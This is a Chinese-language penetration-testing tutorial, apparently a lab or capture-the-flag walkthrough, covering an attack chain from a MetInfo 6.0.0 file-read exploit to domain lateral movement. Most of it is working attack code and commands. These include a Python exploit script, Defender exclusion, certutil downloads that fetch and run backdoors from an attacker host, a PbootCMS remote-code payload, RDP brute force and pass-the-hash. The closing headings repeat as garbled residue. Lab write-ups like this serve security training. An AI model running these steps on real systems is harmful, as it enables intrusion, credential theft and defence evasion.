外网渗透与内网横向移动实战教学文档<\/h1>

1. 外网信息收集<\/h2>

1.1 端口扫描<\/h3>
使用fscan工具对目标IP进行端口扫描：<\/p>
.\/fscan -h 172.50.66.3
<\/span><\/span><\/code><\/pre>扫描结果：<\/p>

开放端口：80(HTTP)、139(NetBIOS)、135(RPC)、3306(MySQL)、445(SMB)<\/li>
系统信息：Windows Server 2016 Standard 14393<\/li>
Web服务：MetInfo建站系统<\/li>
<\/ul>
1.2 Web应用识别<\/h3>
访问http:\/\/172.50.66.3发现MetInfo 6.0.0后台管理界面：<\/p>

后台路径：\/admin<\/li>
版本特征：MetInfo 6.0.0<\/li>
<\/ul>
2. 漏洞利用<\/h2>
2.1 MetInfo任意文件读取漏洞<\/h3>
利用MetInfo 6.0.0的任意文件读取漏洞获取数据库配置文件：<\/p>
漏洞利用脚本：<\/strong><\/p>
import<\/span> requests
<\/span><\/span>import<\/span> sys
<\/span><\/span>
<\/span><\/span>HEADERS =<\/span> {"User-Agent"<\/span>: "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) Chrome\/120.0.0.0"<\/span>}
<\/span><\/span>PAYLOADS =<\/span> [
<\/span><\/span>    "...\/.\/http\/...\/.\/config\/config_db.php"<\/span>,
<\/span><\/span>    ".....\/\/\/http\/.....\/\/\/config\/config_db.php"<\/span>,
<\/span><\/span>    "http\/.....\/\/\/.....\/\/\/config\/config_db.php"<\/span>,
<\/span><\/span>    r<\/span>"http\..\..\config\config_db.php"<\/span>,
<\/span><\/span>]
<\/span><\/span>
<\/span><\/span>def<\/span> exploit<\/span>(host):
<\/span><\/span>    url =<\/span> f<\/span>"<\/span>{<\/span>host.<\/span>rstrip('\/'<\/span>)}<\/span>\/include\/thumb.php"<\/span>
<\/span><\/span>    
<\/span><\/span>    for<\/span> payload in<\/span> PAYLOADS:
<\/span><\/span>        try<\/span>:
<\/span><\/span>            resp =<\/span> requests.<\/span>get(url, params=<\/span>{"dir"<\/span>: payload}, headers=<\/span>HEADERS, timeout=<\/span>10<\/span>)
<\/span><\/span>            if<\/span> "<?php"<\/span> in<\/span> resp.<\/span>text:
<\/span><\/span>                print(f<\/span>"[+] Vulnerable!<\/span>\n<\/span>{<\/span>resp.<\/span>text}<\/span>"<\/span>)
<\/span><\/span>                return<\/span>
<\/span><\/span>        except<\/span> Exception<\/span> as<\/span> e:
<\/span><\/span>            print(f<\/span>"[-] Error: <\/span>{<\/span>e}<\/span>"<\/span>)
<\/span><\/span>    
<\/span><\/span>    print("[-] Not vulnerable"<\/span>)
<\/span><\/span>
<\/span><\/span>if<\/span> __name__ ==<\/span> "__main__"<\/span>:
<\/span><\/span>    if<\/span> len(sys.<\/span>argv) <<\/span> 2<\/span>:
<\/span><\/span>        print("Usage: python3 exploit.py http:\/\/target\/metinfo"<\/span>)
<\/span><\/span>        sys.<\/span>exit(1<\/span>)
<\/span><\/span>    exploit(sys.<\/span>argv[1<\/span>])
<\/span><\/span><\/code><\/pre>获取的数据库配置信息：<\/strong><\/p>
<?<\/span>php<\/span>
<\/span><\/span>\/*
<\/span><\/span><\/span>con_db_host = "localhost"
<\/span><\/span><\/span>con_db_port = "3306"
<\/span><\/span><\/span>con_db_id = "metinfo"
<\/span><\/span><\/span>con_db_pass = "admin@cslab"
<\/span><\/span><\/span>con_db_name = "metinfo"
<\/span><\/span><\/span>tablepre = "met_"
<\/span><\/span><\/span>db_charset = "utf8";
<\/span><\/span><\/span>*\/<\/span>
<\/span><\/span>?><\/span>
<\/span><\/span><\/span><\/code><\/pre>2.2 数据库连接与信息收集<\/h3>
连接MySQL数据库：<\/p>
mysql -h 172.50.66.3 -P 3306<\/span> -u metinfo -p'admin@cslab'<\/span> metinfo --skip-ssl
<\/span><\/span><\/code><\/pre>查询敏感信息：<\/p>
-- 查看数据库
<\/span><\/span><\/span><\/span>show<\/span> databases;
<\/span><\/span>
<\/span><\/span>-- 查看表
<\/span><\/span><\/span><\/span>use metinfo;
<\/span><\/span>show<\/span> tables;
<\/span><\/span>
<\/span><\/span>-- 查询密码表
<\/span><\/span><\/span><\/span>select<\/span> *<\/span> from<\/span> met_password;
<\/span><\/span><\/code><\/pre>获取密码：cs1ab@wwq<\/code><\/p>
3. 初始访问<\/h2>
3.1 SMB服务利用<\/h3>
使用获取的密码尝试SMB服务登录：<\/p>
nxc smb 172.50.66.3 -u administrator -p 'cs1ab@wwq'<\/span> -x "whoami"<\/span>
<\/span><\/span><\/code><\/pre>3.2 获取Shell<\/h3>
使用WMI执行命令：<\/p>
impacket-wmiexec administrator:'cs1ab@wwq'<\/span>@172.50.66.3 -codec gbk
<\/span><\/span><\/code><\/pre>3.3 绕过Defender并上线<\/h3>

添加Defender排除路径：<\/li>
<\/ol>
powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"<\/span>
<\/span><\/span><\/code><\/pre>
下载并执行后门：<\/li>
<\/ol>
certutil.exe -urlcache -split -f<\/span> http:<\/span>\/\/172.16.233.2:<\/span>23456\/swt C:\Users\Public\run.bat && C:\Users\Public\run.bat
<\/span><\/span><\/code><\/pre>4. 内网信息收集<\/h2>
4.1 内网扫描<\/h3>
上传fscan进行内网扫描：<\/p>
fscan.exe -h 10.20.50.3\/24
<\/span><\/span><\/code><\/pre>扫描发现：<\/p>

存活主机：10.20.50.3、10.20.50.8、10.20.50.9<\/li>
10.20.50.9开放MySQL服务，存在弱口令：root\/admin123<\/li>
<\/ul>
4.2 MySQL服务利用<\/h3>
通过代理连接MySQL：<\/p>
proxychains -q mysql -h 10.20.50.9 -u root -p'admin123'<\/span> --skip-ssl
<\/span><\/span><\/code><\/pre>查询flag信息：<\/p>
use mysql;
<\/span><\/span>select<\/span> *<\/span> from<\/span> flag;
<\/span><\/span><\/code><\/pre>获取flag：go-flag{55c38760-2134-4864-8710-e453f430b18d}<\/code><\/p>
4.3 RDP服务利用<\/h3>
扫描RDP服务：<\/p>
fscan.exe -h 10.20.50.3\/24 -p 3389<\/span>
<\/span><\/span><\/code><\/pre>发现10.20.50.8开放RDP，爆破弱口令：<\/p>
fscan.exe -h 10.20.50.8 -p 3389<\/span> -pwdf pass.txt -user administrator
<\/span><\/span><\/code><\/pre>获取凭证：administrator\/qwe!@#123<\/p>
5. 横向移动<\/h2>
5.1 第二层代理建立<\/h3>
使用WMI执行命令：<\/p>
proxychains -q impacket-wmiexec .\/administrator:'qwe!@#123'<\/span>@10.20.50.8 -codec gbk
<\/span><\/span><\/code><\/pre>绕过Defender并上线：<\/p>
powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"<\/span>
<\/span><\/span>certutil.exe -urlcache -split -f<\/span> http:<\/span>\/\/10.20.50.3:<\/span>80\/cslab8044.exe C:\Users\Public\cslab8044.exe
<\/span><\/span>cslab8044.exe
<\/span><\/span><\/code><\/pre>5.2 深层内网扫描<\/h3>
扫描10.6.8.0\/24网段：<\/p>
fscan.exe -h 10.6.8.50\/24
<\/span><\/span><\/code><\/pre>发现关键资产：<\/p>

10.6.8.99：域控制器(DC)<\/li>
10.6.8.66：cslab.cyberstrike.lab<\/li>
Web服务：PbootCMS系统<\/li>
<\/ul>
6. PbootCMS漏洞利用<\/h2>
6.1 后台登录<\/h3>

后台路径：默认管理后台<\/li>
弱口令：admin\/cslab<\/li>
版本：PbootCMS V3.1.2-20211028<\/li>
<\/ul>
6.2 RCE漏洞利用<\/h3>

在站点信息的尾部信息或统计代码中插入PHP代码：<\/li>
<\/ol>
<?<\/span>php<\/span>
<\/span><\/span>$test=<\/span>"copy"<\/span>;
<\/span><\/span>$test("http:\/\/10.6.8.50:8080\/1.txt"<\/span>,"test.php"<\/span>);
<\/span><\/span>?><\/span>
<\/span><\/span><\/span><\/code><\/pre>
在攻击机搭建HTTP服务：<\/li>
<\/ol>
powershell -c "$listener = New-Object System.Net.HttpListener; $listener.Prefixes.Add('http:\/\/+:8080\/'); $listener.Start(); while($true){$context = $listener.GetContext(); $response = $context.Response; $content = [System.IO.File]::ReadAllBytes($context.Request.Url.LocalPath.TrimStart('\/')); $response.OutputStream.Write($content, 0, $content.Length); $response.Close()}"<\/span>
<\/span><\/span><\/code><\/pre>
触发漏洞：<\/li>
<\/ol>

开启动态缓存<\/li>
清除缓存<\/li>
访问任意文章触发文件下载<\/li>
<\/ul>
6.3 多层代理配置<\/h3>
使用gost建立多层代理：<\/p>
.\/gost -L=<\/span>socks5:\/\/:1080 -F=<\/span>socks5:\/\/172.16.233.2:2000 -F=<\/span>socks5:\/\/172.16.233.2:2001
<\/span><\/span><\/code><\/pre>7. 权限维持与信息收集<\/h2>
7.1 上线Vshell<\/h3>
通过蚁剑连接webshell，上传并执行Vshell客户端。<\/p>
7.2 使用EyeWorm收集信息<\/h3>
上传EyeWorm工具进行深度信息收集：<\/p>

扫描默认文件<\/li>
查找Xshell会话文件<\/li>
收集系统命令历史<\/li>
<\/ul>
7.3 RDP连接配置<\/h3>
开启RDP服务：<\/p>
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server"<\/span> \/v fDenyTSConnections \/t REG_DWORD \/d 0 \/f
<\/span><\/span>REG ADD "HKLM\System\CurrentControlSet\Control\Lsa"<\/span> \/v DisableRestrictedAdmin \/t REG_DWORD \/d 0 \/f
<\/span><\/span><\/code><\/pre>使用Pass-the-Hash连接RDP：<\/p>
proxychains -q xfreerdp3 \/v:10.6.8.66 \/u:Administrator \/d:CSLAB \/pth:5da9474778d66c037970d0bac4de6438 \/cert:ignore
<\/span><\/span><\/code><\/pre>8. 关键知识点总结<\/h2>
8.1 漏洞利用要点<\/h3>

MetInfo文件读取<\/strong>：通过thumb.php的参数污染实现任意文件读取<\/li>
PbootCMS RCE<\/strong>：利用缓存机制实现远程代码执行<\/li>
数据库弱口令<\/strong>：MySQL默认凭证利用<\/li>
<\/ol>
8.2 横向移动技术<\/h3>

WMI执行<\/strong>：impacket-wmiexec工具的使用<\/li>
RDP爆破<\/strong>：fscan的RDP弱口令检测<\/li>
Pass-the-Hash<\/strong>：RDP的哈希传递攻击<\/li>
<\/ol>
8.3 权限维持方法<\/h3>

Defender绕过<\/strong>：添加排除路径<\/li>
多层代理<\/strong>：gost工具的多级代理配置<\/li>
服务开启<\/strong>：RDP服务的注册表修改<\/li>
<\/ol>
8.4 信息收集工具<\/h3>

fscan<\/strong>：内网端口扫描和漏洞检测<\/li>
EyeWorm<\/strong>：深度信息收集和凭据提取<\/li>
Xshell会话<\/strong>：敏感会话文件的利用<\/li>
<\/ol>
本教学文档详细展示了从外网渗透到内网横向移动的完整攻击链，涵盖了信息收集、漏洞利用、权限提升、横向移动等关键环节，为渗透测试人员提供了完整的技术参考。<\/p>
外网渗透与内网横向移动实战教学文档<\/h1>

1. 外网信息收集<\/h2>

2. 漏洞利用<\/h2>

4. 内网信息收集<\/h2>

5. 横向移动<\/h2>

6. PbootCMS漏洞利用<\/h2>

7. 权限维持与信息收集<\/h2>

7.1 上线Vshell<\/h3> 通过蚁剑连接webshell，上传并执行Vshell客户端。<\/p>

8. 关键知识点总结<\/h2>

7.1 上线Vshell<\/h3>
通过蚁剑连接webshell，上传并执行Vshell客户端。<\/p>
